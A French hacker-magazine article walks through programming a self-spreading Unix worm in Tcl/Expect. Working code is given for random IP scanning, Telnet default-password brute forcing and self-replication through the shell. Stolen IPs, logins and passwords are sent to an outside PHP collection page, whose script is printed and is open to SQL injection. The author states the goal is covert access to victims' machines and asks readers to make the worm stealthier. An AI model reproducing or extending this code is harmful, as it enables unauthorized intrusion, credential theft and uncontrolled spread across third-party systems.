Programmer un ver

Intro
Depuis quelques temps mon intérêt s'est tourné vers les vers. Pas vers les macros-virus ou les vers windows comme Sobig, Blaster etc. mais vers les worm Unix, principalement le Morris Worm.
Tout le monde connaît l'histoire :
Robert Morris Jr. (alias RTM), un étudiant de 23 ans à l'université de Cornell a codé ce ver qui a foutu en rade un tiers du réseau Internet de l'époque (début novembre 88).
Le père de RTM était le dirigeant du NCSC (National Computer Security Center) qui est la section de la NSA dédié à la sécurité informatique. Son père était un guru Unix. Il a écrit de nombreux bouquins sur la sécurité Unix et découvert pas mal de failles dessus. De nombreuses personnes ont fait des études du ver (dans le Phrack#22 par exemple) et c'est marrant de constater que ces articles font souvent références à plusieurs livres du père de RTM.
Mais le plus choquant quand on étudie le code de ce ver c'est l'absence d'instructions malveillantes. Le ver ne fait que se répendre de machines en machines. Ce qui a causé autant de dégats c'est une erreur de codage ou plutôt un oubli dans la création du ver : le ver peut réattaquer une machine même si elle est déjà infectée.
Par conséquence les connexions surchargent le serveur qui n'est plus capable de loger qui que se soit, même l'administrateur physiquement présent devant le serveur.
Je n'entre pas en détail dans la programmation du 'InternetWorm' (une autre fois peut être) mais pour moi RTM reste mon modèle, le hacker n°1.
RTM, je sais que tu ne liras pas ce mag... (ya peu de chances) mais saches que je te dédie ce mag ainsi que mon premier ver qui est dans l'idéologie pas si lointain du tiens.

RTM

Théorie
Bon on sèche les larmes et on passe au boulot
Voici ce que notre ver doit faire : il doit se connecter sur le port Telnet d'une machine qu'il aura pris tout à fait au hazard. Si le port est ouvert il teste les mots de passe par défaut. Pour les mots de passes par défaut ya des listes toute faites qui sont régulièrement mises à jour. Ici je prend le fichier dad400.txt. Si un couple login/password est correct le ver doit nous en informer et infecter la machine à laquelle il est conecté.
Une fois qu'il a infecté cette machine (elle peut fonctionner indépendamment du ver attaquant), le ver passe à une machine suivante.
Je vais préciser ici quelques concepts sur le pourquoi du comment le ver fonctionne.
Déjà on peut se demander pourquoi c'est le ver qui scanne qui nous informe qu'il a trouvé une machine infectée et non la machine infectée qui vient nous avertir quelle est infectée.
La réponse est simple : compatibilité. Tous les problèmes que nous aurons en programmant un ver seront dû à la compatibilité. En effet tous les serveurs Telnet n'ont pas le même prompt, ensuite toutes les machines n'ont pas telnet, wget etc.
Une machine qui lance un scan est forcément correctement infectée donc on peut compter sur elle. Une machine qui vient tout juste de se faire infecter est moins sûre pour nous. Déjà parce que Tclsh n'est pas forcément installé (je rappelle que l'on va coder en Tcl/Expect). et que le lancement du worm peut foirer sur cette machine.
Notre objectif n'est pas d'infecter le maximum de machines contrairement à beaucoup de worms qui commencent par scanner le sous-réseau. L'objectif de notre worm est de récupérer des accès sur différentes machines qui pourront nous servir de relais ou autre (héhé) plus tard.
Passons à l'algorithme de ce ver.
Tout d'abord on part d'une machine à laquelle on a un accès (évidemment il faut éviter d'utiliser sa machine si on veut pas se faire tracer).
Le worm est lancé.
Il doit d'abord regarder si les commandes telnet & wget sont présentes sur le système. Si elles sont présentes elles vont nous simplifier la tâche. Si il manque que wget on peut se rabattre sur telnet uniquement. Si telnet est aussi absent on peut prévoir une voie de secours qui utilisera les sockets en Tcl (c'est loin d'être le top).
Ces vérifications permettent au ver de déterminer la façon dont il va fonctionner.
Dans tous les cas il scanne des ips au hazard (il ne prend pas une plage d'ip, les adresses qui sont générées n'ont aucun rapport entre elles).
On pourra éventuellement avoir recours aux socket Tcl pour vérifier que le port 23 est ouvert avant de lancer telnet.
Si le port est ouvert on essaye les accounts par défaut (le top serait de déterminer le système sur lequel on est (à partir de son prompt) puis de tester les password en conséquence).
Si on a trouvé un compte valide, le worm doit appeler une page php avec comme paramêtre l'ip de la machine qu'il vient d'infecter (et si possible le login & password).
Cette page php enregistre dans une base de données l'adresse IP fournie par le ver. Le script php regarde aussi si la machine était déjà infectée. En fonction de cela la page doit contenir un mot clé qui permettra au worm de savoir si il doit se reproduire sur la nouvelle machine ou se déconnecter.
Si la machine n'est pas encore infectée, il recopie le code du ver et le lance.
Il faut ensuite que le ver se déconnecte pour passer à la machine suivante. Mais cette déconnexion peut nous poser des problèmes. En effet la déconnexion peut avoir comme effet de stopper le worm. Il faut absolument que la machine attaquante se déconnecte pour qu'un admin ne voit pas que sa machine est connectée à une autre machine.
Les solutions auxquelles j'ai pensé sont la commande nohup ou bien le script fraichement installé qui tuerait son processus père (la connexion telnet).
Une fois déconnecté notre machine va recommencer à scanner l'Internet à la recherche d'une autre machine infectable.

Si vous avez bien lu les articles précédents (programmation Tcl & Expect) vous avez dû devinerque nous allons réutiliser quelques scripts que nous avons vu. Par exemple nous allons reprendre et modifier le script pour telnet. La plupart des serveurs telnet envoie les strings 'ogin:' et 'assword:' mais ensuite le prompt peut être un '$' un '#' ou un '>' etc. en fonction de la configuration de la machine. C'est l'une des possibilités qu'il faudra gérer.
Pour appeler le script php j'ai pensé à wget. Mais il n'est pas forcément installé. On peut très facilement se servir de telnet pour le remplacer. Si aucun des deux n'est présent, Tcl fourni un package http qui peut être sympa à utiliser.
La reproduction en elle même (la recopie du ver) peut aussi poser des problèmes. On pourrait encore avoir recours à wget ou au package http pour récupérer le ver sur un site internet (solution assez élégante il faut l'avouer ;-). Sinon il va faloir parler au shell (par un 'cat > ver << EOF' par exemple) mais c vraiment le dernier recours :-(.
Il va donc falloir coder les différentes étapes et les différentes façons de faire qui seront appelées en fonction des ressources dispo sur la machine infectée.

Pratique

Reprise de l'article le 12/12/2003
J'ai écrit l'article en deux fois. La partie ci-dessus était plutôt les questions à se poser avant de coder le worm. Maintenant le worm est codé et on va pourvoir étudier les solutions choisies.

La déconnexion
En programmation C, les programmes qui tournent en taches de fond s'apellent des démons. La fonction daemon() (si mes souvenirs sont bons) permet, pour le langage C de faire passer son programme en démon. La documentation nous explique que transformer son programme en démon, c'est le rendre indépendant de son tty (terminal).
Ca tombe bien car en Tcl ya une fonction similaire qui s'apelle disconnect. On utilisera donc les deux lignes suivantes :

if {[fork]!=0} exit
disconnect

La première ligne fork (création d'un processus fils) un second worm. Le worm fils se déclare indépendant (disconnect) et le père se tue avec exit (c'est toujours très éthique les processus ;-)

Génération d'une adresse IP aléatoire
Ici nous allons créer une fonction qui renverra l'adresse IP. Une adresse IP c'est 4 chiffres compris entre 0 et 255. En Tcl il existe une fonction rand() qui donne un chiffre à virgule aléatoire entre 0 et 1.
On va fixer le précision de Tcl à 3 pour obtenir des nombres à 3 chiffres après la virgule. En multipliant le résultat obtenu aléatoirement par 1000 on obtient un nombre entre 0 et 1000 exclu.
On doit donc diviser ce nombre par 4 pour avoir un maximum de 250. Certes on atteint pas les 255 mais c'est pas bien génant.
Pour obtenir une adresse IP il faut donc concaténer 4 nombres séparés par des points. Ce que l'on obtient avec la fonction suivante.

proc  get_random_ip  { }  {
  set  tcl_precision  3
  set  ip  ""
  append  ip  [expr  round((rand()*1000)/4)]
  for {set  i  0} {$i < 3} {incr  i  1} {
    append  ip  "."
    append  ip  [expr  round((rand()*1000)/4)]
  }
  return  $ip
}

Vérifier que le port Telnet est ouvert
Plutôt que de lancer un telnet et de s'apercevoir que le port telnet est fermé, on utilise les socket Tcl, ce qui est bien plus rapide.

proc  is_telnet_open  ip  {
  set  is_open  0
  if  {  [catch  {set  sock  [socket  $ip  23]}  ]  }  {
    set  is_open  0
  }  else  {
    set  is_open  1
    close  $sock
  }
  return  $is_open
}

La fonction prend l'adresse IP comme paramêtre. L'ouverture de la connexion se fait avec la commande socket. La seule façon de savoir si la connexion est ouverte ou non se fait par le biais d'une exception que l'on attrape avec un catch (comme en Java). On renvoie 1 si le port est ouvert, 0 sinon.

Rechecher où se trouve telnet et wget
Pour cette version du worm je ne me suis pas servi de wget car le package http de Tcl s'est montré performant. Toutefois si le package n'est pas présent il peut être utile d'avoir wget sous la main. Cette fonction devrait être étendue pour rechercher telnet dans plus de répertoires (/bin, /usr/local/bin et /sbin par exemple). La fonction utilise des variables globales au lieu de renvoyer un résultat.

proc  where_are_progs  { }  {
  global  wget_found
  global  telnet_found
  global  wget_path
  global  telnet_path
  if  [file  exists  "/usr/bin/wget"] == 1  {
    set  wget_found  1
    set  wget_path  "/usr/bin/wget"
  }
  if  [file  exists  "/usr/bin/telnet"]==1  {
    set  telnet_found  1
    set  telnet_path  "/usr/bin/telnet"
  }
}

Savoir où se trouve le ver (dans l'arborescence)

proc  whereis_worm  { }  {
  set  worm_path  [pwd]
  set  file_name  [lindex  [split  [info  script "/"end]
  append  worm_path  "/"  $file_name
  return  $worm_path
}

La commande pwd permet de savoir dans quel répertoire se trouve le vers. La commande info script permet de connaître la façon dont a été apellé le script (par exemple ça peut être ./tcl/prog/tclworm). On doit donc récupérer le mot après le dernier '/' pour avoir le nom du fichier. On concatène ensuite les deux résultats et on renvoie la valeur.

Reproduction
Pour la réplication j'ai finalement décidé d'utiliser la commande cat sous le shell. Le problème avec cette méthode c'est que le shell interprète certains caractères. Ainsi si on tappe :

[sirius]$ cat > truc.txt << EOF
> $x
> second line
> EOF
[sirius]$ cat truc.txt

second line
[sirius]$

On s'appercoit que notre $x n'apparait pas. En fait c'est le shell qui a fait une substitution de variable. Si on modifie un peu...

[sirius]$ cat > truc.txt << EOF
> \$x
> second line
> EOF
[sirius]$ cat truc.txt
$x
second line
[sirius]$

Ca marche !! Il faut donc mettre un antislash devant le caractère pour l'échapper. A échapper on a donc le dollars, les backquotes et on doit doubler les antislashs.
Ensuite un gros problème sur lequel j'ai perdu quelques jours : les tabulations. Sous un shell si vous tappez sur tabulation, Linux vous affiche les fichiers qui peuvent correspondre à votre demande (completion). J'ai mis un certain temps avant de comprendre pourquoi j'avais des listings de fichiers quand j'essayais de faire marcher le ver. La seule solution que j'ai trouvé jusqu'à présent c'est de faire un trim pour supprimer les tabulations. La fonction suivante permet de mettre le ver en mémoire et de le formater de telle façon qu'il puisse être envoyé par le shell.

proc  get_content  { }  {
  set  f  [open  [whereis_worm]  "r"]
  set  texte  ""
  while  {  ![eof  $f]  }  {
    set  ligne  [gets  $f]
    set  ligne  [string  map  {\\  \\\\  \$  \\\$  \`  \\\`}  $ligne]
    set  ligne  [string  trim  $ligne]
    append  texte  "$ligne\n"
  }
  close  $f
  return  $texte
}

On ouvre le worm en lecture. On lit une ligne. On échappe les antislashes, les dollars et les backquotes. On retire aussi l'indentation (les tabulations) avec la fonction trim. On concatène le résultat dans la variable $texte et on recommence avec la ligne suivante et ce jusqu'à la fin.

Deux fonctions qui peuvent (peut-être) servir
Je sais plus trop où j'ai trouvé ces fonctions. La première renvoie l'adresse IP de la machine où on se trouve et l'autre l'adresse du réseau sur lequel on est. Je ne me sert pas de ces fonctions mais elles peuvent utiles si on souhaite attaquer le sous-réseau (une autre version du ver par exemple).

proc  MyIpaddr  { }  {
  set  addr  ""
  if  {[catch  {dns  address  [info  hostname]}  addr]} {
    set  server  [socket  -server  #  0]
    set  port  [lindex  [fconfigure  $server  -sockname]  2]
    set  host  [lindex  [fconfigure  $server  -sockname]  1]
    set  client  [socket  $host  $port]
    set  addr  [lindex  [fconfigure  $client  -sockname]  0]
    close  $client
    close  $server
  }
  return $addr
}

proc  MyNet  {}  {
  set  net  ""
  regexp  {(.*)\..*}  [MyIpaddr]  {}  net
  return  $net
}

J'ai pas cherché à comprendre comment marchaient ces fonctions mais ça marche :-)

Recencement
L'objectif du worm est de trouver des accès sur des machines. Cela n'aurait aucune utilité si on en était pas informé. La fonction suivante prend en paramêtre l'adresse ip de la machine en cours d'infection et le login et le password pour y accèder. Elle appelle alors une page php qui enregistrera les infos dans une base de données. En même temps le script php doit regarder si la machine est ou non déjà infectée. Selon le cas la page php affichera "_haxored_" ou "gogetsome". La fonction renverra "zut" si il y a eu un problème d'accès à la page (présence d'un firewall, obligation d'utiliser un proxy), "next" si la machine est déjà infectée (on doit donc passer à une autre machine) ou "go" si la machine n'est pas encore infectée.

proc  declare_becane  {ip  login  password}  {
  if  {![llength  [info  commands  "::http::geturl"]]}  {
    if  {[catch  {package  require  http}]}  {
      return  "zut"
    }
  }
  ::http::config  -useragent  "TCLWORM v1.0 (LOTFREE)" ;# Just for the style
  set  htmlUrl  "http://membres.lycos.fr/lotfree/wormstat.php?ip=$ip&login=$login&pass=$password"
  if  { [catch  { ::http::geturl  $htmlUrl}  token]} {
    return "zut"
  }
  if { [::http::status  $token]  != "ok"} {
    return  "zut"
  }
  set  htmlFile  [::http::data  $token]
  if  {  [regexp  "haxored"  $htmlFile]  == 1  }  {
    return  "next"
  }
  return  "go"
}

La première étape c'est la vérification de la présence du package HTTP. La deuxième étape c'est l'envoi de la requête http avec la commande ::http::geturl. Le résultat est enregistré dans une structure désignée ici par la variable $token. On commence par vérifier que le code renvoyé est "ok" et si c'est la cas on récupère la réponse du script php avec ::http::data. On regarde enfin si la réponse contient ou non le texte "haxored".

Le corps du programme.
La source complète est ici.
Le ver contient des listes de couples login/password utilisés dans une boucle (une fois qu'on a trouvé une ip avec le port 23 ouvert).
Après s'être mis en démon (interract), le programme recherche où son situés telnet et wget.
Le programme entre ensuite dans sa boucle principale :

tant que 1=1 (boucle infinie) faire
    obtenir une ip aléatoire
    si cette ip commence par 127 on recommence avec une autre ip (évite l'auto infection)
    si le port telnet n'est pas ouvert on recommence avec une autre ip
    sinon
        on teste un couple login/password
        si c'est pas bon on passe au couple suivant
        sinon on apelle le script php
            si on a un haxored on se déconnecte
            sinon on se réplique et on se déconnecte
        fin du sinon login/password
    fin du sinon telnet ouvert
fin du tant que

Pour ce qui est de la partie PHP qui récupère la liste des serveurs contaminés on peut faire le script suivant :

<?
if (isset($ip) && $ip!="" && isset($login) && isset($pass)){
  mysql_connect();
  mysql_select_db('perso');
  $result = mysql_query("SELECT * FROM victim WHERE ip='$ip'");
  $num_rows = mysql_num_rows($result);
  if ($num_rows==0){
    echo "gogetsome";
    mysql_query("INSERT INTO victim VALUES ('$ip','$login','$pass')");
  }
  else {
    echo "_haxored_";
  }
  mysql_close();
}
else echo "gogetsome_eof";

?>

Evolution

Le Tclworm est maintenant disponible sur packetstormsecurity.nl. Tout le monde peut le retoucher, le faire évoluer etc.
Dans cet optique j'ai créé un 'projet' sur www.infoshackers.com. Le but de ce projet est d'améliorer le ver principalement pour augmenter son efficacité.
Si vous avez lu cet article et les deux précédents vous avez du vous rendre compte que cela ne demandait pas de connaissances poussées en programmation. Tout le monde peut donc participer au projet, aporter de nouvelles idées, proposer un nouveau module, une nouvelle fonction, voire une nouvelle version.

Il y a un bon nombre d'améliorations à effectuer. La plus simple est faire en sorte que le ver cherche Telnet plus de répertoires que l'actuelle version.
Une fonction réellement intéressante serait de déduire des passwords possibles en fonction de la bannière du serveur (si on a un 'Cisco server' on va se restreindre aux passwords cisco).
On pourrait essayer de faire une version plus rapide qui utiliserait les Threads en Tcl.
Il faudrait aussi que le ver soit un peu plus discret aux yeux de l'administrateur d'une machine infectée.
Il existe des fonctions de timeout dans Expect que je n'ai pas utilisé mais pourrais permettre d'éviter les situations bloquantes (le serveur envoie une chaine autre que login: ou user:).
De plus j'ai déjà vu des machines où Tcl est installé mais pas Expect. Ue version en Tcl pur serais une utopie ? A voir.

L'objectif global est que le ver fonctionne sur le plus de machines Unix possible.
A bientôt donc ;-)